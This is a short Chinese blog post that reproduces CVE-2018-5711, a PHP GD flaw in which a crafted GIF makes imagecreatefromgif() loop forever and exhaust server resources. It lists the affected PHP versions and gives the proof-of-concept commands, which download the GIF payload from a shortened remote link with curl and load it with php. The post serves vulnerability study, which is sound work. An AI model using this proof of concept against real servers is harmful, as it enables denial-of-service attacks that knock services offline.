PHP载入GIF图像造成服务器宕机(CVE-2018-5711)的漏洞复现
参考链接:
http://www.freebuf.com/vuls/161262.html
今日看新漏洞发现一个UC编辑部的标题,CVE-2018-5711:一张GIF图片就能让服务器宕机的PHP漏洞,赶紧点卡看看是啥。
经过了解发现,该漏洞有一定攻击面,攻击方式为DDoS。
漏洞背景:
漏洞由台湾Web漏洞挖掘大牛Orange Tsai发现。
漏洞编号:CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。
漏洞影响的PHP版本:
包含以下PHP系列和其它所有PHP版本
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1
复现过程:
PoC $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif $ php -r 'imagecreatefromgif("poc.gif");'
根据文章描述进行了复现,发现报错,php默认是不带GD库的
报错内容:
PHP Fatal error: Uncaught Error: Call to undefined function imagecreatefromgif() in Command line code:1
在php中imagecreate函数是一个图形处理函数,主要用于新建一个基于调色板的图像了,然后在这个基础上我们可以创建一些图形数字字符之类的,但这个函数需要GD库支持,如果没有开启GD库使用时会提示Call to undefined function imagecreate()错误。
可直接安装这个库
apt-get install php-gd
再次执行
$ php -r 'imagecreatefromgif("poc.gif");'
发现php把cpu跑满了,确实造成了无限循环
最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。
知识要大家一起分享,但带上原文链接是对作者的尊重。